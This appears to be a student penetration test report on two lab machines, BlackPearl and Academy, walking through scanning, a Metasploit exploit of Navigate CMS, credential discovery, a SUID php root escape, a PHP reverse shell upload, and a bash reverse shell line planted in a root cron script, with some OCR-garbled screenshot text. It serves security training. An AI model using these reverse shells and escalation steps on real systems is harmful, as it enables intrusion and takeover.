Penetration Test Report

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1. Independent Challenges

1.1 Target #1 – BlackPearl

1.1.1 Initial Access - Configuring the machine.

To initiate work on the Black Pearl machine, firstly, established the Virtual Machine (VM) and configured Network Address Translation (NAT) settings. Setting up NAT allows the VM to access the internet through the host machine's network connection and it also allows the host machine to communicate with the VM.

After configuring NAT, made the necessary changes in /etc/network/interfaces file of the target machine.

```
# The primary network interface
# allow–hotplug enpOs3
auto ens33
iface ens33 inet dhcp
```

Figure 1: network interface file

Saved the changes and executed the command "ifup ens33" to bring the interface up. Subsequently got the IP address of the machine by executing the following command.

```
root@blackpearl:~# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00 brd 00:00:00:00:00
inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 10

00
link/ether 00:0c:29:17:2e:26 brd ff:ff:ff:ff
inet 192.168.117.130/24 brd 192.168.117.255 scope global dynamic ens33
    valid_lft 1249sec preferred_lft 1249sec
inet6 fe80::20c:29ff:fe17:2e26/64 scope link
    valid lft forever preferred_lft forever
```

Figure 2: Verifying the IP address

1.1.2 Service Enumeration

After conducting port scanning techniques, specifically *masscan* and *nmap* (Network Mapper), the following results have been discovered.

```
(kali® kali)-[~/Desktop/PEH/BlackPearl]
$ sudo masscan $ip -p1-65535,U:1-65535 -- rate=1000 | tee open_ports.txt
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-12-21 17:39:34 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 192.168.117.130
Discovered open port 53/tcp on 192.168.117.130
Discovered open port 80/tcp on 192.168.117.130
Discovered open port 53/udp on 192.168.117.130
```

Figure 3: masscan result

nmap 192.168.117.130 -A -v -p22,53,80 -T5

```
-(kali®kali)-[~/Desktop/PEH/BlackPearl]
$ nmap $ip -A -v -p22,53,80 -T5 | tee open_services.txt
Starting Nmap 7.94 (https://nmap.org) at 2024-01-07 09:23 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:23
Completed NSE at 09:23, 0.00s elapsed
Initiating NSE at 09:23
Completed NSE at 09:23, 0.00s elapsed
Initiating NSE at 09:23
Completed NSE at 09:23, 0.00s elapsed Initiating Ping Scan at 09:23
Scanning 192.168.117.130 [2 ports]
Completed Ping Scan at 09:23, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 09:23
Scanning blackpearl.tcm (192.168.117.130) [3 ports]
Discovered open port 22/tcp on 192.168.117.130
Discovered open port 53/tcp on 192.168.117.130
Discovered open port 80/tcp on 192.168.117.130
Completed Connect Scan at 09:23, 0.00s elapsed (3 total ports)
Initiating Service scan at 09:23
Scanning 3 services on blackpearl.tcm (192.168.117.130)
Completed Service scan at 09:23, 6.04s elapsed (3 services on 1 host)
NSE: Script scanning 192.168.117.130.
Initiating NSE at 09:23
Completed NSE at 09:23, 8.30s elapsed
Initiating NSE at 09:23
Completed NSE at 09:23, 0.02s elapsed
Initiating NSE at 09:23
Completed NSE at 09:23, 0.00s elapsed
Nmap scan report for blackpearl.tcm (192.168.117.130)
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh
                        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkev:
    2048 66:38:14:50:ae:7d:ab:39:72:bf:41:9c:39:25:1a:0f (RSA)
    256 a6:2e:77:71:c6:49:6f:d5:73:e9:22:7d:8b:1c:a9:c6 (ECDSA)
256 89:0b:73:c1:53:c8:e1:88:5e:c3:16:de:d1:e5:26:0d (ED25519)
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u5 (Debian Linux)
| dns-nsid:
    bind.version: 9.11.5-P4-5.1+deb10u5-Debian
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
  http-methods:
    Supported Methods: GET HEAD POST
|_http-title: PHP 7.3.27-1~deb10u1 - phpinfo()
| Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
```

Figure 4: nmap scan results

Port Scan Results

IP Address	Ports Open
192.168.117.130	80(HTTP),53(DNS),22(SSH)

Operating System: Linux

After discovering that port 80 was open, an examination of the website revealed only Nginx server index page.




Figure 5: Initial page

Following standard checks, a user and a domain name were identified from the page source.

User: Alek

Domain name: blackpearl.tcm

```
1 <!DOCTYPE html>
3 <head>
4 <title>Welcome to nginx!</title>
      body {
           width: 35em;
           margin: 0 auto;
           font-family: Tahoma, Verdana, Arial, sans-serif;
11 </style>
12 </head>
13 <body>
14 <h1>Welcome to nginx!</h1>
15 If you see this page, the nginx web server is successfully installed and
16 working. Further configuration is required.
18 For online documentation and support please refer to
19 <a href="http://nginx.org/">nginx.org</a>.<br/>
20 Commercial support is available at
21 <a href="http://nginx.com/">nginx.com</a>.
23 <em>Thank you for using nginx.</em>
24 </body>
25 <!-- Webmaster: alek@blackpearl.tcm -->
26 </html>
27
```

Figure 6: Page Source

Since the machine is running DNS, an additional investigation using reverse DNS lookups is performed to determine the domain names associates with the specific IP addresses. From the enumeration tool, it was confirmed that the domain name is **blackpearl.tcm**.

```
(kali® kali)-[~/Desktop/PEH/BlackPearl]
$ dnsrecon -r 127.0.0.0/24 -n $ip
[*] Performing Reverse Lookup from 127.0.0.0 to 127.0.0.255
[+] PTR blackpearl.tcm 127.0.0.1
[+] 1 Records Found
```

Figure 7: Reverse DNS lookup

Added the domain name to the /etc/hosts file.

```
└$ sudo nano /etc/hosts
```

```
File Actions Edit View Help
 GNU nano 7.2
                                                         /etc/hos
127.0.0.1
                localhost
127.0.1.1
                kali
                localhost ip6-localhost ip6-loopback
ff02::1
                ip6-allnodes
ff02::2
                ip6-allrouters
10.129.110.52
                unika.htb
10.129.17.69
                 thetoppers.htb
10.129.17.69
                s3.thetoppers.htb
192.168.117.130
                  blackpearl.tcm
```

Figure 8: hosts file

After adding the domain name to the hosts file, I visited http://blackpearl.tcm and found a static page that displays various information listed below.




Figure 9: http://blackpearl.tcm

Further, scanned the website http://blackpearl.tcm using gobuster tool for enumerating the directories and files associated with the URL. Upon scanning a directory named **navigate** was discovered. Visited the identified directory with the help of the link provided by the

gobuster.

```
—(kali®kali)-[~/Desktop/PEH/BlackPearl]
—$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u blackpearl
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                               http://blackpearl.tcm
[+] Url:
   Method:
                               GET
                               10
   Threads:
                               /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
   Wordlist:
   Negative Status codes:
                              404
                               gobuster/3.6
   User Agent:
   Timeout:
                               10s
Starting gobuster in directory enumeration mode
                       (Status: 301) [Size: 185] [→ http://blackpearl.tcm/navigate/]
Progress: 220560 / 220561 (100.00%)
Finished
```

Figure 10: Gobuster results

Upon navigating to the link, it redirected to a login page. Initial attempts using default credentials and SQL injection were unsuccessful in bypassing the login page. Upon closer examination of the page, the version **Navigate CMS v2.8** was identified at the bottom right corner.




Figure 11: login page

I researched potential exploits for navigate CMS and subsequently searched for the exploit

within the Metasploit console.

Figure 12: Navigate CMS exploit

After making the necessary changes in the module options, set the values for fields RHOSTS, LHOST and LPORT.

RHOSTS: blackpearl.tcm

LHOST: 192.168.117.128 (host machine ip)

LPORT: 4444




Figure 13: exploit module options

After running the module, a meterpreter session was opened. Further did an investigation on the files and directories inside the shell.

```
meterpreter > ls
Listing: /var/www/blackpearl.tcm/navigate
                                                                                           2021-05-30 14:12:28 -0400
 100755/rwxr-xr-x
                                                    18092
1395
                                                                                          2021-05-30 14:12:28 -0400
2021-05-30 14:12:28 -0400
                                                                                                                                                                          LICENSE.txt
README
100755/rwxr-xr-x
                                                                                                                                                                          cache
cfg
crossdomain.xml
040755/rwxr-xr-x
040755/rwxr-xr-x
                                                    4096
4096
                                                                                          2021-05-30 14:13:21 -0400
2021-05-30 14:13:20 -0400
                                                                                          2021-05-30 14:13:20 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400 2021-05-30 14:12:28 -0400
                                                    361
4096
15086
 100755/rwxr-xr-x
040755/rwxr-xr-x
                                                                                                                                                                          css
favicon.ico
  100755/rwxr-xr-x
                                                   15086
4096
232
4096
4096
13032
7904
1300
  040755/rwxr-xr-x
100755/rwxr-xr-x
                                                                                                                                                                           img
index.php
                                                                                         2021-05-30 14:12:28 -0400 lib
2021-05-30 14:12:28 -0400 login.php
2021-05-30 14:12:28 -0400 navigate.php
2021-05-30 14:12:28 -0400 navigate_download.php
2023-12-25 05:58:19 -0500 navigate_info.php
2021-05-30 14:12:28 -0400 plugins
2021-05-30 14:13:29 -0400 plugins
2021-05-30 14:13:29 -0400 themes
2021-05-30 14:12:28 -0400 description of themes
  100755/rwxr-xr-x
  100755/rwxr-xr-x
  100755/rwxr-xr-x
100755/rwxr-xr-x
                                                    4096
4096
4096
  040755/rwxr-xr-x
040755/rwxr-xr-x
                                                                        dir
dir
dir
 040755/rwxr-xr-x
                                                    4096
4096
040755/rwxr-xr-x
meterpreter > cd cfg
meterpreter > ls
Listing: /var/www/blackpearl.tcm/navigate/cfg
                                                                      Type Last modified
                                                                                                                                                                        Name
                                                                                                                                                                       globals.php
session.php
                                                                                        2021-05-30 14:13:05 -0400
2021-05-30 14:12:28 -0400
```

Figure 14: files and directories

Upon navigating through the directories, discovered a file named **globals.php** containing sensitive data, including a password for the user **alek**.

User: alek

Password: H4x0r

```
meterpreter > cat globals.php
<?php
/* NAVIGATE */
/* Globals configuration file */
/* App installation details */
define('APP_NAME', 'Navigate CMS');
define('APP_NAME', 'Navigate CMS');
define('APP_NAME', 'Navigate CMS');
define('APP_MEALM', 'Navigate CMS');
define('APP_OWNER', 'blackpearl');
define('APP_DEBUG, 'false);
define('APP_DEBUG, 'false) || isset('s.REQUEST['debug']));
define('APP_DEBUG, 'false) || isset('s.REQUEST['debug']));
define('APP_DEBUG, 'false);
/* App installation paths */
define('AVP_DEBUG, 'false);
/* App installation paths */
define('AVIGATE, 'Alse);
/* App installation paths */
define('AVIGATE, 'Navigate'); // absolute UPL to folder which contains the navigate folder (protoc object 'Navigate'); // absolute UPL to folder which contains the navigate folder (inc' 'NaviGATE, 'Navigate'); // absolute uPL to folder which contains the navigate folder (inc' 'NaviGATE, 'Navigate'); // absolute uPL to folder which contains the navigate folder (inc' 'NaviGATE, 'Navigate'); // name of the navigate folder (define('NaviGATE, 'Navigate'); // absolute system path to navigate folder define('NaviGATE, 'Navigate'); // absolute system path to navigate folder define('NaviGATE, 'Navigate, ohp');
define('NaviGATE, ONNICAD', NaviGATE, PARENT.NAVIGATE_FOLDER.'/navigate_download.php');
define('NaviGATECMS_STATS', false);
/* Optional Utility Paths */
define('NaviGATECMS_STATS', false);
/* Optional Utility Paths */
define('POD_ONTAINE', 'localhost');
define('POD_ONTAINE', 'localho
```

Figure 15: globals.php

With the SSH port open, I attempted the identified password for the user alek, resulting in a successful SSH login.

```
(kali@ kali)-[~/Desktop/PEH/BlackPearl]
$ ssh alek@blackpearl.tcm's password:
Linux blackpearl 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 20 13:08:00 2023 from 192.168.117.128
alek@blackpearl:~$
```

Figure 16: SSH session for alek

Privilege Escalation:

To obtain root access on the machine, executed the LinPEAS (Linux Privilege Escalation Awesome Script) which was downloaded from GitHub using the curl command.

scurl -L https://github.com/carlospolop/PEASSng/releases/latest/download/linpeas.sh | sh




Figure 17: linpeas.sh

Gone through the script and found some files with interesting SUID permissions which in turn helps in privilege escalation. From figure 17, we can clearly see that /usr/bin/php7.3 is a SUID bit enabled binary.

Figure 18: SUID section in LinPEAS

It is also possible to find the SUID files using the following command

```
└$ find / -perm -4000 - type f -exec ls -la {} 2>/dev/null \;
```

```
-rwsr-xr-- 1 root messagebus 51184 Jul 5
                                          2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1
            root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 44440 Jul 27
                                    2018 /usr/bin/newgrp
           1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 4777720 Feb 13 2021 /usr/bin/php7.3
          1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x
-rwsr-xr-x 1 root root 54096
                            Jul 27
                                    2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 63736 Jul 27
                                    2018 /usr/bin/passwd
                                    2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 84016 Jul 27
                                    2018 /usr/bin/gpasswd
```

Figure 19: SUID files

From https://gtfobins.github.io/gtfobins/php/#suid , found a way to escalate SUID for php.

```
php -r "pcntl_exec('/bin/sh', ['-p']);"
```

As the system is using the version php7.3, replaced the php version and executed the command. Finally achieved the root access and obtained the flag for the BlackPearl machine.

```
<mark>alek@blackpearl:~$</mark> php7.3 -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
# ls
lin.out linpeas_linux_amd64 root_access
# pwd
/home/alek
#ls
bin dev
boot etc
                           initrd.img.old lib32 libx32
                                                                 media opt
                                                                                root sbin sys usr vmlinuz
            initrd.img lib
                                       lib64 lost+found mnt proc run srv tmp var vmlinuz.old
# cd root
# ls
flag.txt
# cat flag.txt
cat: flagflag.txt: No such file or directory
                                                                                                                        I
# cat flag.txt
Good job on this one.
Finding the domain name may have been a little guessy, but the goal of this box is mainly to teach about Virtual Host Routing which is used in a lot of CTF.
```

Figure 20: root access

1.2 Target #2 - Academy

1.2.1 Initial Access - Configuring the machine.

Similar to the previous machine, the initial steps for setting up the Academy machine were undertaken. These included:

- Establishing the VM
- Configuring NAT
- Modifying primary network interface in the /etc/network/interfaces file

Afterwards, executed "ip a" command for obtaining the ip address of the academy machine.

```
root@academy:~# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever

2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 10

00
    link/ether 00:0c:29:a8:fc:4a brd ff:ff:ff:ff:
    inet 192.168.117.129/24 brd 192.168.117.255 scope global dynamic ens33
        valid_lft 1008sec preferred_lft 1008sec
    inet6 fe80::20c:29ff:fea8:fc4a/64 scope link
        valid_lft forever preferred_lft forever

root@academy:~#
```

Figure 21: Verifying the ip address

1.2.2 Service Enumeration

Upon completing with the VM setup and acquiring ip address, executed the port scanning techniques.

Masscan results

Nmap results

```
$ nmap $ip -A -v -p21,22,80 -T5 | tee open_services.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 13:06 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:06 Completed NSE at 13:06, 0.00s elapsed
Initiating NSE at 13:06
Completed NSE at 13:06, 0.00s elapsed
Initiating NSE at 13:06
Completed NSE at 13:06, 0.00s elapsed
Initiating Ping Scan at 13:06
Scanning 192.168.117.129 [2 ports]
Completed Ping Scan at 13:06, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:06
Completed Parallel DNS resolution of 1 host. at 13:06, 0.26s elapsed
Initiating Connect Scan at 13:06
Scanning 192.168.117.129 [3 ports]
Discovered open port 21/tcp on 192.168.117.129
Discovered open port 22/tcp on 192.168.117.129
Discovered open port 80/tcp on 192.168.117.129
Completed Connect Scan at 13:06, 0.03s elapsed (3 total ports)
Initiating Service scan at 13:06
Scanning 3 services on 192.168.117.129
Completed Services on 192.108.117.129

Completed Service scan at 13:06, 6.06s elapsed (3 services on 1 host)

NSE: Script scanning 192.168.117.129.

Initiating NSE at 13:06

NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 13:06, 0.53s elapsed
Initiating NSE at 13:06
Completed NSE at 13:06, 0.03s elapsed
Initiating NSE at 13:06
Completed NSE at 13:06, 0.00s elapsed
Nmap scan report for 192.168.117.129
Host is up (0.0039s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
  _-rw-r--r--
                   1 1000
                                1000
                                                  776 May 30 2021 note.txt
  ftp-syst:
     STAT:
        Connected to ::ffff:192.168.117.128
        Logged in as ftp
        TYPE: ASCII
        No session bandwidth limit
        Session timeout in seconds is 300
        Control connection is plain text
Data connections will be plain text
        At session startup, client count was 1
        vsFTPd 3.0.3 - secure, fast, stable
 _End of status
                         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
     2048 c7:44:58:86:90:fd:e4:de:5b:0d:bf:07:8d:05:5d:d7 (RSA)
     256 78:ec:47:0f:0f:53:aa:a6:05:48:84:80:94:76:a6:23 (ECDSA)
|_http-server-header: Apache/2.4.38 (Debian)
```

Figure 23: nmap result

From masscan and nmap, the following information were gathered.

IP Address	Ports Open
192.168.117.130	80(HTTP),21(FTP),22(SSH)

Operating System: Linux

It was determined that port 21 was open, indicating the presence of FTP service. So, access to the machine was done using the default username and password of FTP port.

Here, I used "anonymous" as the default username and password.

```
Connected to 192.168.117.129.
220 (vsFTPd 3.0.3)
Name (192.168.117.129:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||48360|)
150 Here comes the directory listing.
-rw-r--r-- 1 11000 a
                             1000
                                              776 May 30 2021 note.txt
226 Directory send OK.
ftp> more note.txt
Hello Heath!
Grimmie has setup the test website for the new academy.
I told him not to use the same password everywhere, he will change it ASAP.
I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following
mmand:
INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `de
`, `semester`, `cgpa`, `creationdate`, `updationDate`) VALUES
('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '', '7.60', '2021-05-29 14
The StudentRegno number is what you use for login.
Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ?
We can always adapt it to our needs.
-jdelta
ftp>
```

Figure 24: FTP login

After successfully logged into the ftp server, used "dir" command to list all the files and directories inside the server. Found a file named **note.txt**.

Examining the text file, discovered information within a database query, including student

registration number, encrypted password and name. Besides FTP, we know that ports 22 and 80 are also open. Therefore, an initial check was performed on port 80, revealing the presence of the default Apache2 page on the server.




Figure 25 : Default page on port 80

As there is currently one default page active in the server. The wfuzz tool was used to determine the existence of any additional pages on the server. wfuzz is an open-source web application brute-forcing tool which is utilized to identify vulnerabilities, weakness or misconfigurations in web applications.




Figure 26: wfuzz scan

The scan revealed the presence of several pages on the server, aside from the default page. One of these pages, named "academy" was discovered and upon visiting the page, it was observed to be a student portal with a login page for online course registration. The page contains fields for entering the registration number and password.




Figure 27: 192.168.117.129/academy/

From the note.txt file obtained from the FTP server, we came across a query containing a student ID and a password hash. To bypass the login page, I attempted to utilize these credentials. As the password is in hash form, the initial step is to crack the password. To achieve this, it is necessary to identify the type of hashing algorithm used.

Figure 28: finding hash type

HashID is a tool which can be used to identify a single hash, parse a file or read multiple files in a directory and identify the hashes within them. After using hashID, it was determined that the password hash obtained is an MD5 hash. Subsequently, a random MD5 to text generator was employed to decrypt the hash. Ultimately, the password was successfully obtained, and it is "student".

MD5 to Text	
MD5 to text: All of thing you need is paste to the textbox below and click 'To	Text' buttor
cd73502828457d15655bbd7a63fb0bc8	
Congratulations! Your hashed text cd73502828457d15655bbd7a63fb0bc8 habeen decrypted to:	S
student	
	4

Figure 29: MD5 to text conversion

It is also possible to crack the password using hashcat tool. Hashcat is a fast password recovery tool that helps break complex password hashes and it is one of the few tools that can work with the GPU. https://www.freecodecamp.org/news/hacking-with-hashcat-a-practical-quide/#:~:text=Hashcat%20is%20a%20fast%20password,can%20work%20with%20the%20GPU.

Based on the above steps, we acquired a student id, password and access to a login page. Utilizing "10201321" as the student registration number and "student" as the password, it is possible to log into the portal.




Figure 30 : login page

After successful login, a student registration page was discovered, providing the feature to update the details of the student. The fields include student name, registration number, pincode, CGPA and an option to upload student photo.





Figure 31: student registration page

Upon noticing the existence of file upload feature, an examination was conducted to determine if the system is vulnerable to file upload vulnerabilities. To exploit such vulnerabilities, a reverse shell code is necessary. It was observed that the website operates on PHP technology. For that reason, a PHP reverse shell was obtained from a reverse shell generator, , https://www.revshells.com/.

Figure 32: PHP revesre shell

After obtaining the reverse shell, made the necessary modifications in the file (rev_shell.php) before uploading to the server. Edited the line \$ip = "192.168.117.128" to reflect the IP address of the Kali (Host machine). Further, initiated a Netcat listener configured to listen on the specified port mentioned in the reverse shell, which is \$port = 1234.






Figure 33: Netcat listener

The file rev_shell.php was successfully uploaded to the server and the profile was updated accordingly. Following the successful profile update, a connection was established from the victim server using the Netcat listener. As a result, access to the shell was obtained, allowing privileges to read server configuration files and data as **www-data** user.

```
(kali@kali)-[~/Desktop/PEH/academy]
 —$ nc −l −v −p 1234
listening on [any] 1234 ...
192.168.117.129: inverse host lookup failed: Unknown host
connect to [192.168.117.128] from (UNKNOWN) [192.168.117.129] 52726
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Lin
 13:45:42 up 9:43, 2 users, load average: 0.07, 0.02, 0.00
USER
         TTY
                  FROM
                                     LOGINA
                                              IDLE
                                                     JCPU
                                                             PCPU WHAT
         tty1
                                     Thu<sub>05</sub>
                                              2days 0.08s
                                                             0.03s -bash
grimmie pts/0
                  192.168.117.128
                                    Thu<sub>06</sub>
                                             51:18
                                                     0.35s
                                                             0.35s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ dir
bin
      home
                       lib32
                                   media
                                           root
                                                 sys
                                                      vmlinuz
                       lib64
                                                      vmlinuz.old
boot
      initrd.img
                                   mnt
                                           run
                                                 tmp
dev
      initrd.img.old
                      libx32
                                           sbin
                                   opt
                                                 usr
etc
      lib
                       lost+found
                                   proc
                                           srv
                                                 var
$
```

Figure 34: Netcat shell

```
4096 May 29 2021 xdg
drwxr-xr-x 3 root root
$ cd /var/www/html
$ ls -la
total 24
                                              2021 .
drwxr-xr-x 3 root
                      root
                                 4096 May 29
drwxr-xr-x 3 root
                                 4096 May 29
                      root
drwxr-xr-x 7 www-data www-data 4096 Jun 3
                                              2020 academy
-rw-r-- 1 root
                                10701 May 29
                      root
                                              2021 index.html
$ cd academy
$ ls -la
total 84
drwxr-xr-x 7 www-data www-data 4096 Jun 3
                                             2020
drwxr-xr-x 3 root
                    root
                              4096 May 29
                                             2021 ..
drwxr-xr-x 4 www-data www-data 4096 Dec 12
                                             2017 admin
drwxr-xr-x 6 www-data www-data 4096 Dec 12
                                             2017 assets
-rw-r--r-- 1 www-data www-data 4140 Jun 3
                                             2020 change-password.php
-rw-r--r-- 1 www-data www-data 885 Jun 3
                                             2020 check_availability.php
drwxr-xr-x 2 www-data www-data 4096 Jun
                                             2020 db
-rw-r--r-- 1 www-data www-data 4571 Jun 3
                                             2020 enroll-history.php
-rw-r--r-- 1 www-data www-data 6685 Jun 3
                                             2020 enroll.php
drwxr-xr-x 2 www-data www-data 4096 May 30
                                             2021 includes
-rw-r--r-- 1 www-data www-data 3959 Jun 3
                                             2020 index.php
-rw-r--r-- 1 www-data www-data 451 Jun 3
                                             2020 logout.php
-rw-r--r-- 1 www-data www-data 4370 Jun
                                             2020 my-profile.php
-rw-r--r-- 1 www-data www-data 2868 Jun 3 2020 pincode-verification.php
-rw-r--r-- 1 www-data www-data 6836 Jun 3 2020 print.php
drwxr-xr-x 2 www-data www-data 4096 Dec 7 04:59 studentphoto
$ cd db
$ ls
onlinecourse.sql
$ cd admin
/bin/sh: 11: cd: can't cd to admin
$ cd assets
/bin/sh: 12: cd: can't cd to assets
$ pwd
/var/www/html/academy/db
```

Figure 35: Traversing through the files and directories

Later on, I explored certain files and directories on the server and discovered a configuration file named "config.php" within /var/www/html/academy/includes/. Within this PHP file, I identified a MySQL password, "My_V3ryS3cur3_P4ss," associated with the user "grimmie."

Figure 36: Configuration file

Based on the port scanning results, it became evident that port 22(SSH) is accessible, so utilized the acquired username and password to access SSH.

```
(kali@ kali)-[~/Desktop/PEH/academy]
$ ssh grimmie@192.168.117.129 grimmie@192.168.117.129's password:
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 7 06:18:32 2023 from 192.168.117.128
grimmie@academy:~$
```

Successfully accessed the victim machine through SSH, gaining entry as the user "grimmie".

Privilege Escalation:

To obtain root access to the machine, the line line as.sh script was executed, considering it is a Linux machine. The results revealed the presence of a **backup.sh** file within the /home/grimmie directory. The script is configured to perform backups every minute, hour, day, month, and week.

```
/etc/cron.weekly:
total 16
drwxr-xr-x 2 root root 4096 May 29 2021 .
drwxr-xr-x 74 root root 4096 Dec 10 05:58 ..
-rwxr-xr-x 1 root root 813 Feb 10 2019 man-db
-rw-r--r- 1 root root 102 Oct 11 2019 .placeholder

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / &f run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / &f run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / &f run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / &f run-parts --report /etc/cron.monthly )

* * * * * /home/seinnic/backup.sh
```

Figure 37: Linpeas result

The detailed information regarding the execution timing of the script file can be found on /etc/crontab file. The file allows system administrators to schedule tasks that run with the privileges of the root user.

As the script is written in Bash, a reverse shell script was acquired from https://www.revshells.com/ and incorporated into the **backup.sh** file.

```
File Actions Edit View Help

GNU nano 3.2 backup.sh

[1:/bin/bash

sh -i >6 /dev/tcp/192.168.117.128/8989 0>61
```

Figure 38: backup.sh file with reverse shell

The IP in the script was substituted with the host machine's IP (Kali machine). Subsequently, initiated a Netcat listener on the host machine using port number 8989. Executed the **backup.sh** file from the victim machine, resulting in a successful connection to the Netcat listener.

Figure 39: netcat listener

Ultimately, gained root access to the machine and located the flag file for the machine Academy.

Figure 40 : root access